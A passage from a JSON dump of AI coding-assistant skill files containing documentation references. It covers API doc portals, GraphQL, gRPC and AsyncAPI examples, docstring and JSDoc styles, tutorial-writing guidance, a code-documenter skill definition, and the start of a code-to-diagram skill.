href=\"https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700\"\n      rel=\"stylesheet\"\n    />\n  </head>\n  <body>\n    <redoc\n      spec-url=\"./openapi.yaml\"\n      hide-download-button\n      required-props-first\n      native-scrollbars\n      theme='{\n      \"colors\": {\n        \"primary\": {\n          \"main\": \"#4285F4\"\n        }\n      },\n      \"typography\": {\n        \"fontSize\": \"16px\",\n        \"fontFamily\": \"Roboto, sans-serif\"\n      }\n    }'\n    >\n    </redoc>\n    <script src=\"https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js\"></script>\n  </body>\n</html>\n```\n\n### Stoplight Elements\n\n```javascript\nimport { API } from \"@stoplight/elements\"\nimport \"@stoplight/elements/styles.min.css\"\n\nfunction App() {\n  return (\n    <API\n      apiDescriptionUrl=\"./openapi.yaml\"\n      router=\"hash\"\n      layout=\"sidebar\"\n      tryItCredentialsPolicy=\"include\"\n    />\n  )\n}\n```\n\n## Multi-Protocol Documentation\n\n### GraphQL Schema Documentation\n\n```graphql\n\"\"\"\nUser account in the system\n\"\"\"\ntype User {\n  \"\"\"\n  Unique user identifier\n  \"\"\"\n  id: ID!\n\n  \"\"\"\n  User's email address (unique)\n  @example \"user@example.com\"\n  \"\"\"\n  email: String!\n\n  \"\"\"\n  Display name\n  @example \"John Doe\"\n  \"\"\"\n  name: String!\n\n  \"\"\"\n  User's posts (paginated)\n  \"\"\"\n  posts(\n    \"\"\"\n    Number of items per page (max 100)\n    \"\"\"\n    limit: Int = 20\n    \"\"\"\n    Page offset\n    \"\"\"\n    offset: Int = 0\n  ): PostConnection!\n}\n\ntype Query {\n  \"\"\"\n  Fetch a user by ID\n  \"\"\"\n  user(\n    \"\"\"\n    User's unique identifier\n    \"\"\"\n    id: ID!\n  ): User\n\n  \"\"\"\n  Search users by name or email\n  \"\"\"\n  searchUsers(\n    \"\"\"\n    Search query\n    \"\"\"\n    query: String!\n    \"\"\"\n    Maximum results to return\n    \"\"\"\n    limit: Int = 10\n  ): [User!]!\n}\n\ntype Mutation {\n  \"\"\"\n  Create a new user account\n  \"\"\"\n  createUser(\n    \"\"\"\n    User creation input\n    \"\"\"\n    input: CreateUserInput!\n  ): CreateUserPayload!\n}\n\n\"\"\"\nInput for creating a user\n\"\"\"\ninput CreateUserInput {\n  \"\"\"\n  User's email address\n  \"\"\"\n  email: String!\n  \"\"\"\n  Display name\n  \"\"\"\n  name: String!\n}\n```\n\n**GraphQL Playground:**\n\n```javascript\nconst { ApolloServer } = require(\"apollo-server\")\n\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: true, // Enable in dev\n  playground: {\n    settings: {\n      \"editor.theme\": \"dark\",\n      \"editor.fontSize\": 14,\n    },\n  },\n})\n```\n\n### WebSocket Protocol Documentation\n\n```yaml\n# AsyncAPI 2.0\nasyncapi: 2.5.0\ninfo:\n  title: Chat WebSocket API\n  version: 1.0.0\n  description: Real-time chat messaging\n\nchannels:\n  chat/{roomId}:\n    parameters:\n      roomId:\n        description: Chat room identifier\n        schema:\n          type: string\n\n    subscribe:\n      summary: Receive messages\n      message:\n        oneOf:\n          - $ref: \"#/components/messages/ChatMessage\"\n          - $ref: \"#/components/messages/UserJoined\"\n\n    publish:\n      summary: Send a message\n      message:\n        $ref: \"#/components/messages/ChatMessage\"\n\ncomponents:\n  messages:\n    ChatMessage:\n      name: message\n      payload:\n        type: object\n        properties:\n          userId:\n            type: string\n          content:\n            type: string\n          timestamp:\n            type: string\n            format: date-time\n\n    UserJoined:\n      name: userJoined\n      payload:\n        type: object\n        properties:\n          userId:\n            type: string\n          username:\n            type: string\n```\n\n### gRPC Documentation\n\n```protobuf\nsyntax = \"proto3\";\n\npackage users.v1;\n\n// User service manages user accounts\nservice UserService {\n  // Get a user by ID\n  // Returns: User object or NOT_FOUND error\n  rpc GetUser(GetUserRequest) returns (User) {}\n\n  // List all users with pagination\n  // Returns: Paginated list of users\n  rpc ListUsers(ListUsersRequest) returns (ListUsersResponse) {}\n\n  // Create a new user\n  // Returns: Created user or ALREADY_EXISTS error\n  rpc CreateUser(CreateUserRequest) returns (User) {}\n\n  // Stream user updates in real-time\n  // Returns: Stream of user update events\n  rpc WatchUsers(WatchUsersRequest) returns (stream UserEvent) {}\n}\n\n// User account\nmessage User {\n  // Unique identifier\n  string id = 1;\n\n  // Email address (unique, required)\n  string email = 2;\n\n  // Display name\n  string name = 3;\n\n  // Account creation timestamp\n  google.protobuf.Timestamp created_at = 4;\n}\n```\n\n## SDK Documentation Strategies\n\n### Multi-Language Examples\n\n````markdown\n# Create User\n\n## Python\n\n```python\nfrom myapi import Client\n\nclient = Client(api_key=\"your_key\")\nuser = client.users.create(\n    name=\"John Doe\",\n    email=\"john@example.com\"\n)\nprint(user.id)\n```\n````\n\n## TypeScript\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: \"your_key\" })\nconst user = await client.users.create({\n  name: \"John Doe\",\n  email: \"john@example.com\",\n})\nconsole.log(user.id)\n```\n\n## Go\n\n```go\nimport \"github.com/myapi/sdk-go\"\n\nclient := sdk.NewClient(\"your_key\")\nuser, err := client.Users.Create(ctx, &sdk.CreateUserInput{\n    Name:  \"John Doe\",\n    Email: \"john@example.com\",\n})\nif err != nil {\n    log.Fatal(err)\n}\nfmt.Println(user.ID)\n```\n\n## Ruby\n\n```ruby\nrequire 'myapi'\n\nclient = MyAPI::Client.new(api_key: 'your_key')\nuser = client.users.create(\n  name: 'John Doe',\n  email: 'john@example.com'\n)\nputs user.id\n```\n\n````\n\n### SDK Reference Template\n\n```markdown\n# Users SDK\n\n## Installation\n```bash\nnpm install @myapi/sdk\n````\n\n## Configuration\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({\n  apiKey: process.env.API_KEY,\n  baseUrl: \"https://api.example.com\", // Optional\n  timeout: 30000, // Optional, default 30s\n})\n```\n\n## Methods\n\n### `client.users.create(data)`\n\nCreate a new user.\n\n**Parameters:**\n\n- `data.name` (string, required) - User's display name\n- `data.email` (string, required) - User's email address\n\n**Returns:** Promise<User>\n\n**Throws:**\n\n- `ValidationError` - Invalid input data\n- `ConflictError` - Email already exists\n- `AuthenticationError` - Invalid API key\n\n**Example:**\n\n```typescript\nconst user = await client.users.create({\n  name: \"John Doe\",\n  email: \"john@example.com\",\n})\n```\n\n## Error Handling\n\n```typescript\nimport { ValidationError, ConflictError } from \"@myapi/sdk\"\n\ntry {\n  await client.users.create(data)\n} catch (error) {\n  if (error instanceof ValidationError) {\n    console.error(\"Invalid data:\", error.fields)\n  } else if (error instanceof ConflictError) {\n    console.error(\"User already exists\")\n  }\n}\n```\n\n```\n\n## Quick Reference\n\n| Tool | Protocol | Features |\n|------|----------|----------|\n| Swagger UI | REST | Try-it-out, auth |\n| Redoc | REST | Clean, responsive |\n| Stoplight | REST | Modern, mock server |\n| GraphQL Playground | GraphQL | Explorer, history |\n| AsyncAPI Studio | WebSocket | Visual editor |\n| grpcui | gRPC | Interactive console |\n```\n","isInternal":false,"tokens":2545,"sizeBytes":10317},{"name":"python-docstrings.md","path":"skills/code-documenter/references/python-docstrings.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/references/python-docstrings.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Python Docstrings\n\n## Google Style (Recommended)\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"Calculate total cost including tax.\n\n    Args:\n        items: List of items to calculate total for.\n        tax_rate: Tax rate as decimal (e.g., 0.08 for 8%).\n\n    Returns:\n        Total cost including tax.\n\n    Raises:\n        ValueError: If tax_rate is negative or items is empty.\n\n    Example:\n        >>> calculate_total([Item(10), Item(20)], 0.1)\n        33.0\n    \"\"\"\n```\n\n## NumPy Style\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"\n    Calculate total cost including tax.\n\n    Parameters\n    ----------\n    items : list[Item]\n        List of items to calculate total for.\n    tax_rate : float, optional\n        Tax rate as decimal (e.g., 0.08 for 8%). Default is 0.0.\n\n    Returns\n    -------\n    float\n        Total cost including tax.\n\n    Raises\n    ------\n    ValueError\n        If tax_rate is negative or items is empty.\n\n    Examples\n    --------\n    >>> calculate_total([Item(10), Item(20)], 0.1)\n    33.0\n    \"\"\"\n```\n\n## Sphinx Style\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"Calculate total cost including tax.\n\n    :param items: List of items to calculate total for.\n    :type items: list[Item]\n    :param tax_rate: Tax rate as decimal (e.g., 0.08 for 8%).\n    :type tax_rate: float\n    :returns: Total cost including tax.\n    :rtype: float\n    :raises ValueError: If tax_rate is negative or items is empty.\n\n    .. code-block:: python\n\n        >>> calculate_total([Item(10), Item(20)], 0.1)\n        33.0\n    \"\"\"\n```\n\n## Class Documentation\n\n```python\nclass UserService:\n    \"\"\"Service for managing user operations.\n\n    This service handles CRUD operations for users and\n    integrates with the authentication system.\n\n    Attributes:\n        db: Database session for queries.\n        cache: Redis client for caching.\n\n    Example:\n        >>> service = UserService(db, cache)\n        >>> user = await service.create_user(data)\n    \"\"\"\n\n    def __init__(self, db: AsyncSession, cache: Redis) -> None:\n        \"\"\"Initialize UserService.\n\n        Args:\n            db: Database session for queries.\n            cache: Redis client for caching.\n        \"\"\"\n```\n\n## Quick Reference\n\n| Style  | Args Format          | Returns Format    |\n| ------ | -------------------- | ----------------- |\n| Google | `Args:` block        | `Returns:` block  |\n| NumPy  | `Parameters` section | `Returns` section |\n| Sphinx | `:param name:`       | `:returns:`       |\n\n## Sections Available\n\n| Section    | Google        | NumPy        | Sphinx            |\n| ---------- | ------------- | ------------ | ----------------- |\n| Parameters | `Args:`       | `Parameters` | `:param:`         |\n| Returns    | `Returns:`    | `Returns`    | `:returns:`       |\n| Raises     | `Raises:`     | `Raises`     | `:raises:`        |\n| Examples   | `Example:`    | `Examples`   | `.. code-block::` |\n| Notes      | `Note:`       | `Notes`      | `.. note::`       |\n| Attributes | `Attributes:` | `Attributes` | `:ivar:`          |\n","isInternal":false,"tokens":788,"sizeBytes":3153},{"name":"typescript-jsdoc.md","path":"skills/code-documenter/references/typescript-jsdoc.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/references/typescript-jsdoc.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# TypeScript JSDoc\n\n## Function Documentation\n\n````typescript\n/**\n * Calculate total cost including tax.\n *\n * @param items - List of items to calculate total for\n * @param taxRate - Tax rate as decimal (e.g., 0.08 for 8%)\n * @returns Total cost including tax\n * @throws {Error} If taxRate is negative or items is empty\n *\n * @example\n * ```typescript\n * const total = calculateTotal(items, 0.08);\n * console.log(total); // 108.00\n * ```\n */\nfunction calculateTotal(items: Item[], taxRate = 0): number {\n````\n\n## Class Documentation\n\n````typescript\n/**\n * Service for managing user operations.\n *\n * Handles CRUD operations and integrates with authentication system.\n *\n * @example\n * ```typescript\n * const service = new UserService(db, cache);\n * const user = await service.create(userData);\n * ```\n */\nclass UserService {\n  /**\n   * Create a new UserService instance.\n   *\n   * @param db - Database connection\n   * @param cache - Redis cache client\n   */\n  constructor(\n    private readonly db: Database,\n    private readonly cache: Cache\n  ) {}\n}\n````\n\n## Interface Documentation\n\n```typescript\n/**\n * User data transfer object.\n *\n * @interface UserDto\n */\ninterface UserDto {\n  /** Unique user identifier */\n  id: string\n\n  /** User's email address (unique) */\n  email: string\n\n  /** User's display name */\n  name: string\n\n  /** Account creation timestamp */\n  createdAt: Date\n}\n```\n\n## Generic Types\n\n```typescript\n/**\n * Paginated response wrapper.\n *\n * @template T - Type of items in the data array\n */\ninterface PaginatedResponse<T> {\n  /** Array of items for current page */\n  data: T[]\n\n  /** Total number of items across all pages */\n  total: number\n\n  /** Current page number (1-indexed) */\n  page: number\n\n  /** Number of items per page */\n  limit: number\n}\n```\n\n## Async Functions\n\n```typescript\n/**\n * Fetch user by ID from database.\n *\n * @param id - User's unique identifier\n * @returns Promise resolving to user data or null if not found\n * @throws {DatabaseError} If connection fails\n *\n * @async\n */\nasync function findUserById(id: string): Promise<User | null> {\n```\n\n## Quick Reference\n\n| Tag           | Purpose               | Example                      |\n| ------------- | --------------------- | ---------------------------- |\n| `@param`      | Parameter description | `@param name - User's name`  |\n| `@returns`    | Return value          | `@returns User object`       |\n| `@throws`     | Exception thrown      | `@throws {Error} If invalid` |\n| `@example`    | Usage example         | Code block                   |\n| `@see`        | Reference link        | `@see UserService`           |\n| `@deprecated` | Mark deprecated       | `@deprecated Use v2 instead` |\n| `@template`   | Generic type param    | `@template T - Item type`    |\n| `@async`      | Async function        | Mark async                   |\n| `@private`    | Private member        | Internal use                 |\n| `@readonly`   | Read-only property    | Cannot modify                |\n\n## Common Patterns\n\n```typescript\n// Optional parameters\n/** @param [options] - Optional configuration */\n\n// Default values\n/** @param [limit=10] - Items per page (default: 10) */\n\n// Multiple types\n/** @param input - Input value (string or number) */\n\n// Callback parameters\n/**\n * @callback FilterFn\n * @param item - Item to filter\n * @returns Whether item passes filter\n */\n```\n","isInternal":false,"tokens":802,"sizeBytes":3371},{"name":"user-guides-tutorials.md","path":"skills/code-documenter/references/user-guides-tutorials.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/references/user-guides-tutorials.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# User Guides & Tutorials\n\n## Tutorial Structure\n\n### Progressive Learning Path\n\n````markdown\n# Getting Started with API\n\n## Prerequisites\n\nBefore you begin, ensure you have:\n\n- [ ] Node.js 18+ installed\n- [ ] An API key from your dashboard\n- [ ] Basic knowledge of REST APIs\n\n## Quick Start (5 minutes)\n\n### 1. Install the SDK\n\n```bash\nnpm install @myapi/sdk\n```\n````\n\n### 2. Create Your First Request\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: \"your_key\" })\nconst users = await client.users.list()\nconsole.log(users)\n```\n\n### 3. Verify It Works\n\nRun the code and you should see a list of users.\n\n**Expected output:**\n\n```json\n{\n  \"data\": [\n    { \"id\": \"1\", \"name\": \"Alice\" },\n    { \"id\": \"2\", \"name\": \"Bob\" }\n  ],\n  \"total\": 2\n}\n```\n\n## Next Steps\n\n- [Authentication Guide](/docs/auth) - Learn about OAuth and API keys\n- [Advanced Queries](/docs/queries) - Filtering, sorting, pagination\n- [Error Handling](/docs/errors) - Handle errors gracefully\n\n````\n\n### Step-by-Step Tutorial\n\n```markdown\n# Tutorial: Building a User Dashboard\n\n**What you'll learn:**\n- Fetching user data from the API\n- Handling pagination\n- Displaying data in a table\n- Adding real-time updates\n\n**Time:** 30 minutes\n**Level:** Intermediate\n\n## Step 1: Set Up the Project\n\nCreate a new project:\n```bash\nmkdir user-dashboard\ncd user-dashboard\nnpm init -y\nnpm install @myapi/sdk react\n````\n\n## Step 2: Fetch Users\n\nCreate `src/api/users.ts`:\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: process.env.API_KEY })\n\nexport async function getUsers(page = 1, limit = 20) {\n  const response = await client.users.list({ page, limit })\n  return response\n}\n```\n\n**What's happening:**\n\n1. We import the SDK client\n2. Initialize it with our API key from environment\n3. Create a helper function that fetches paginated users\n\n## Step 3: Create the Component\n\nCreate `src/components/UserTable.tsx`:\n\n```typescript\nimport { useState, useEffect } from 'react';\nimport { getUsers } from '../api/users';\n\nexport function UserTable() {\n  const [users, setUsers] = useState([]);\n  const [loading, setLoading] = useState(true);\n\n  useEffect(() => {\n    async function fetchData() {\n      const data = await getUsers();\n      setUsers(data.data);\n      setLoading(false);\n    }\n    fetchData();\n  }, []);\n\n  if (loading) return <div>Loading...</div>;\n\n  return (\n    <table>\n      <thead>\n        <tr>\n          <th>Name</th>\n          <th>Email</th>\n        </tr>\n      </thead>\n      <tbody>\n        {users.map(user => (\n          <tr key={user.id}>\n            <td>{user.name}</td>\n            <td>{user.email}</td>\n          </tr>\n        ))}\n      </tbody>\n    </table>\n  );\n}\n```\n\n## Step 4: Test It\n\nRun your app:\n\n```bash\nnpm run dev\n```\n\nYou should see a table with user data.\n\n## Checkpoint\n\nAt this point, you have:\n\n- [x] Set up the SDK\n- [x] Created an API helper\n- [x] Built a user table component\n- [ ] Added pagination\n- [ ] Added real-time updates\n\n## Next: Adding Pagination\n\n[Continue to Step 5 →](/docs/tutorial/step-5)\n\n````\n\n## Information Architecture\n\n### Content Hierarchy\n\n```markdown\nDocumentation/\n├── Getting Started/\n│   ├── Quick Start (5 min)\n│   ├── Installation\n│   ├── Authentication\n│   └── First Request\n│\n├── Guides/\n│   ├── User Management\n│   ├── File Uploads\n│   ├── Webhooks\n│   └── Rate Limiting\n│\n├── API Reference/\n│   ├── Users API\n│   ├── Files API\n│   └── Webhooks API\n│\n├── SDK Documentation/\n│   ├── Python SDK\n│   ├── TypeScript SDK\n│   └── Go SDK\n│\n├── Tutorials/\n│   ├── Build a Dashboard (30 min)\n│   ├── Integrate Authentication (45 min)\n│   └── Real-time Sync (60 min)\n│\n└── Resources/\n    ├── Troubleshooting\n    ├── FAQ\n    ├── Best Practices\n    └── Migration Guides\n````\n\n## Writing Techniques\n\n### Task-Based Writing\n\n````markdown\n# How to Upload a File\n\n**Goal:** Upload an image file to your account storage\n\n**Time:** 5 minutes\n\n## Steps\n\n### 1. Prepare the file\n\nGet the file from user input or file system:\n\n```typescript\nconst file = document.querySelector('input[type=\"file\"]').files[0]\n```\n````\n\n### 2. Create form data\n\n```typescript\nconst formData = new FormData()\nformData.append(\"file\", file)\nformData.append(\"folder\", \"avatars\")\n```\n\n### 3. Upload with the SDK\n\n```typescript\nconst result = await client.files.upload(formData)\nconsole.log(\"File URL:\", result.url)\n```\n\n## Common Issues\n\n**\"File too large\" error:**\nMaximum file size is 10MB. Compress images before uploading.\n\n**\"Invalid file type\" error:**\nOnly .jpg, .png, .gif are allowed. Check the file extension.\n\n## Related\n\n- [File API Reference](/api/files)\n- [Handling Upload Progress](/guides/upload-progress)\n\n````\n\n### Progressive Disclosure\n\n```markdown\n# Authentication\n\n## Basic: API Keys (Recommended for Getting Started)\n\nAPI keys are the simplest way to authenticate.\n\n```typescript\nconst client = new Client({ apiKey: 'your_key' });\n````\n\n**When to use:** Scripts, internal tools, testing\n\n[Generate an API key →](/dashboard/api-keys)\n\n<details>\n<summary>Advanced: OAuth 2.0</summary>\n\nFor user-facing applications, use OAuth 2.0.\n\n### Authorization Code Flow\n\n1. Redirect user to authorization URL:\n\n```typescript\nconst authUrl = client.oauth.getAuthUrl({\n  redirectUri: \"https://yourapp.com/callback\",\n  scopes: [\"read:users\", \"write:users\"],\n})\nwindow.location.href = authUrl\n```\n\n2. Handle the callback:\n\n```typescript\nconst code = new URLSearchParams(window.location.search).get(\"code\")\nconst tokens = await client.oauth.exchangeCode(code)\n```\n\n3. Use the access token:\n\n```typescript\nconst client = new Client({ accessToken: tokens.access_token })\n```\n\n[Full OAuth guide →](/guides/oauth)\n\n</details>\n\n<details>\n<summary>Enterprise: JWT Tokens</summary>\n\nFor service-to-service authentication, use JWTs.\n\n```typescript\nconst jwt = createJWT({\n  issuer: \"your-service\",\n  subject: \"service-account-id\",\n  privateKey: process.env.PRIVATE_KEY,\n})\n\nconst client = new Client({ jwt })\n```\n\n[JWT setup guide →](/guides/jwt)\n\n</details>\n```\n\n## Visual Communication\n\n### Diagram Integration\n\n````markdown\n# System Architecture\n\n## Request Flow\n\n```mermaid\nsequenceDiagram\n    participant Client\n    participant API\n    participant Database\n    participant Cache\n\n    Client->>API: POST /users\n    API->>Cache: Check cache\n    Cache-->>API: Cache miss\n    API->>Database: Insert user\n    Database-->>API: User created\n    API->>Cache: Store user\n    API-->>Client: 201 Created\n```\n````\n\n## Data Model\n\n```mermaid\nerDiagram\n    USER ||--o{ POST : creates\n    USER ||--o{ COMMENT : writes\n    POST ||--o{ COMMENT : has\n\n    USER {\n        string id PK\n        string email UK\n        string name\n        datetime created_at\n    }\n\n    POST {\n        string id PK\n        string user_id FK\n        string title\n        text content\n    }\n```\n\n````\n\n### Screenshot Annotations\n\n```markdown\n# Dashboard Overview\n\n![Dashboard with numbered annotations](./images/dashboard-annotated.png)\n\n**Key features:**\n\n1. **Navigation** - Switch between sections\n2. **API Key** - Copy your key (click to reveal)\n3. **Usage Stats** - Current month's API calls\n4. **Quick Actions** - Generate new key, view docs\n5. **Recent Activity** - Last 10 API requests\n\n## Creating Your First API Key\n\n1. Click \"Generate New Key\" (highlighted in green)\n2. Enter a description like \"Production API\"\n3. Select permissions (default: all)\n4. Click \"Create\"\n5. **Important:** Copy the key immediately - it won't be shown again\n\n![Create API key dialog](./images/create-key.png)\n````\n\n## Troubleshooting Guides\n\n### Problem-Solution Format\n\n````markdown\n# Troubleshooting\n\n## Authentication Errors\n\n### \"Invalid API key\"\n\n**Symptoms:**\n\n- 401 Unauthorized error\n- Error message: \"Invalid API key\"\n\n**Causes:**\n\n1. API key was copied incorrectly (extra spaces)\n2. API key was revoked\n3. Using test key in production environment\n\n**Solutions:**\n\n**1. Verify the key:**\n\n```bash\n# Check for extra spaces\necho -n \"$API_KEY\" | wc -c  # Should be exactly 32 characters\n```\n````\n\n**2. Regenerate the key:**\n\n- Go to [dashboard](/dashboard)\n- Click \"Revoke & Regenerate\"\n- Update your environment variables\n\n**3. Check environment:**\n\n```typescript\nconsole.log(\"Environment:\", process.env.NODE_ENV)\nconsole.log(\"API URL:\", client.baseUrl)\n```\n\n**Still not working?**\n[Contact support](/support) with your request ID from the error response.\n\n---\n\n### \"Rate limit exceeded\"\n\n**Symptoms:**\n\n- 429 Too Many Requests error\n- Requests failing intermittently\n\n**Immediate fix:**\nWait 60 seconds and retry.\n\n**Long-term solutions:**\n\n**1. Implement exponential backoff:**\n\n```typescript\nasync function retryWithBackoff(fn, maxRetries = 3) {\n  for (let i = 0; i < maxRetries; i++) {\n    try {\n      return await fn()\n    } catch (error) {\n      if (error.status === 429 && i < maxRetries - 1) {\n        await sleep(Math.pow(2, i) * 1000)\n        continue\n      }\n      throw error\n    }\n  }\n}\n```\n\n**2. Batch requests:**\nInstead of 100 individual requests, use batch endpoints.\n\n**3. Upgrade your plan:**\n[View plans](/pricing) - Higher tiers have increased limits.\n\n````\n\n## FAQ Section\n\n```markdown\n# Frequently Asked Questions\n\n## General\n\n### What's included in the free tier?\n- 1,000 API requests/month\n- 1GB storage\n- Community support\n- All core features\n\n### How do I upgrade?\nClick \"Upgrade\" in your [dashboard](/dashboard) and select a plan.\n\n## Technical\n\n### Can I use this in production?\nYes, the API is production-ready with 99.9% SLA on paid plans.\n\n### What's the rate limit?\n- Free: 10 requests/minute\n- Pro: 100 requests/minute\n- Enterprise: Custom limits\n\n### Do you support webhooks?\nYes! See [Webhooks Guide](/guides/webhooks) for setup.\n\n### Which regions are available?\nCurrently: US East, US West, EU Central, Asia Pacific.\n\n## Billing\n\n### How does billing work?\n- Monthly subscription\n- Pay-as-you-go for overages\n- Cancel anytime\n\n### What payment methods do you accept?\nCredit card, PayPal, wire transfer (annual plans only).\n\n---\n\n**Can't find your answer?**\n- [Browse all docs](/docs)\n- [Ask the community](https://community.example.com)\n- [Contact support](/support)\n````\n\n## Quick Reference\n\n| Content Type | Best For               | Key Elements                        |\n| ------------ | ---------------------- | ----------------------------------- |\n| Quick Start  | New users (5 min)      | Prerequisites, minimal code, verify |\n| Tutorial     | Learning by doing      | Steps, checkpoints, working code    |\n| How-To Guide | Specific tasks         | Goal, steps, troubleshooting        |\n| Reference    | Looking up details     | Comprehensive, searchable           |\n| Explanation  | Understanding concepts | Why, not how                        |\n\n| Writing Principle | Technique                                |\n| ----------------- | ---------------------------------------- |\n| Clarity           | Active voice, short sentences            |\n| Scannability      | Headings, lists, code blocks             |\n| Completeness      | Prerequisites, next steps, related links |\n| Accuracy          | Test all code, version specifics         |\n","isInternal":false,"tokens":2807,"sizeBytes":11315},{"name":"SKILL.md","path":"skills/code-documenter/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-documenter/SKILL.md","title":"code-documenter","category":"anthropic-skill","format":"markdown","content":"---\nname: code-documenter\ndescription: Use when adding docstrings, creating API documentation, or building documentation sites. Invoke for OpenAPI/Swagger specs, JSDoc, doc portals, tutorials, user guides.\nlicense: MIT\nmetadata:\n  author: https://github.com/Jeffallan\n  version: \"1.0.0\"\n  domain: quality\n  triggers: documentation, docstrings, OpenAPI, Swagger, JSDoc, comments, API docs, tutorials, user guides, doc site\n  role: specialist\n  scope: implementation\n  output-format: code\n  related-skills: spec-miner, fullstack-guardian, code-reviewer\n---\n\n# Code Documenter\n\nDocumentation specialist for inline documentation, API specs, documentation sites, and developer guides.\n\n## Role Definition\n\nYou are a senior technical writer with 8+ years of experience documenting software. You specialize in language-specific docstring formats, OpenAPI/Swagger specifications, interactive documentation portals, static site generation, and creating comprehensive guides that developers actually use.\n\n## When to Use This Skill\n\n- Adding docstrings to functions and classes\n- Creating OpenAPI/Swagger documentation\n- Building documentation sites (Docusaurus, MkDocs, VitePress)\n- Documenting APIs with framework-specific patterns\n- Creating interactive API portals (Swagger UI, Redoc, Stoplight)\n- Writing getting started guides and tutorials\n- Documenting multi-protocol APIs (REST, GraphQL, WebSocket, gRPC)\n- Generating documentation reports and coverage metrics\n\n## Core Workflow\n\n1. **Discover** - Ask for format preference and exclusions\n2. **Detect** - Identify language and framework\n3. **Analyze** - Find undocumented code\n4. **Document** - Apply consistent format\n5. **Report** - Generate coverage summary\n\n## Reference Guide\n\nLoad detailed guidance based on context:\n\n| Topic                   | Reference                               | Load When                                            |\n| ----------------------- | --------------------------------------- | ---------------------------------------------------- |\n| Python Docstrings       | `references/python-docstrings.md`       | Google, NumPy, Sphinx styles                         |\n| TypeScript JSDoc        | `references/typescript-jsdoc.md`        | JSDoc patterns, TypeScript                           |\n| FastAPI/Django API      | `references/api-docs-fastapi-django.md` | Python API documentation                             |\n| NestJS/Express API      | `references/api-docs-nestjs-express.md` | Node.js API documentation                            |\n| Coverage Reports        | `references/coverage-reports.md`        | Generating documentation reports                     |\n| Documentation Systems   | `references/documentation-systems.md`   | Doc sites, static generators, search, testing        |\n| Interactive API Docs    | `references/interactive-api-docs.md`    | OpenAPI 3.1, portals, GraphQL, WebSocket, gRPC, SDKs |\n| User Guides & Tutorials | `references/user-guides-tutorials.md`   | Getting started, tutorials, troubleshooting, FAQs    |\n\n## Constraints\n\n### MUST DO\n\n- Ask for format preference before starting\n- Detect framework for correct API doc strategy\n- Document all public functions/classes\n- Include parameter types and descriptions\n- Document exceptions/errors\n- Test code examples in documentation\n- Generate coverage report\n\n### MUST NOT DO\n\n- Assume docstring format without asking\n- Apply wrong API doc strategy for framework\n- Write inaccurate or untested documentation\n- Skip error documentation\n- Document obvious getters/setters verbosely\n- Create documentation that's hard to maintain\n\n## Output Formats\n\nDepending on the task, provide:\n\n1. **Code Documentation:** Documented files + coverage report\n2. **API Docs:** OpenAPI specs + portal configuration\n3. **Doc Sites:** Site configuration + content structure + build instructions\n4. **Guides/Tutorials:** Structured markdown with examples + diagrams\n\n## Knowledge Reference\n\nGoogle/NumPy/Sphinx docstrings, JSDoc, OpenAPI 3.0/3.1, AsyncAPI, gRPC/protobuf, FastAPI, Django, NestJS, Express, GraphQL, Docusaurus, MkDocs, VitePress, Swagger UI, Redoc, Stoplight\n","frontmatter":{"name":"code-documenter","description":"Use when adding docstrings, creating API documentation, or building documentation sites. Invoke for OpenAPI/Swagger specs, JSDoc, doc portals, tutorials, user guides.","license":"MIT","metadata":{"author":"https://github.com/Jeffallan","version":"1.0.0","domain":"quality","triggers":"documentation, docstrings, OpenAPI, Swagger, JSDoc, comments, API docs, tutorials, user guides, doc site","role":"specialist","scope":"implementation","output-format":"code","related-skills":"spec-miner, fullstack-guardian, code-reviewer"}},"isInternal":false,"tokens":862,"sizeBytes":4116},{"name":"SKILL.md","path":"skills/code-to-diagram/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-to-diagram/SKILL.md","title":"code-to-diagram","category":"anthropic-skill","format":"markdown","content":"---\nname: code-to-diagram\ndescription: \"Analyze codebases and automatically generate architecture diagrams, flowcharts, and org charts. Uses AST parsing to map import dependencies for Python, JS/TS, Go, and Java, outputting Mermaid or SVG files. Triggered when users ask to visualize code architecture, understand dependencies, draw a flowchart, or create a module diagram from source code.\"\nlicense: MIT\ntype: tool\ntags: [\"visualization\", \"architecture\", \"mermaid\", \"ast\", \"diagram\"]\n---\n\n# Code to Diagram\n\nExtract import and dependency relationships from a codebase via AST parsing, and automatically generate three types of diagrams:\n\n1. **Architecture Diagram** — Module/directory-level dependency relationships\n2. **Flowchart** — File-level import call chains\n3. **Org Chart** — Directory/file hierarchy structure\n\nSupported languages: Python, JavaScript, TypeScript, Go, Java\n\nOutput formats: Mermaid text (`.mmd`) or SVG images (requires `mmdc` installed on the system)\n\n## Usage\n\n### Basic: Analyze an Entire Project\n\n```bash\npython3 scripts/analyze_codebase.py /path/to/project\n```\n\nOutputs three Mermaid diagrams to stdout and writes `.mmd` files to the current directory.\n\n### Specify Diagram Type\n\n```bash\n# Architecture diagram only\npython3 scripts/analyze_codebase.py /path/to/project --type architecture\n\n# Flowchart only\npython3 scripts/analyze_codebase.py /path/to/project --type flowchart\n\n# Org chart only\npython3 scripts/analyze_codebase.py /path/to/project --type org\n```\n\n### Specify Output Directory and Format\n\n```bash\n# Output to a specific directory\npython3 scripts/analyze_codebase.py /path/to/project --output /tmp/diagrams\n\n# 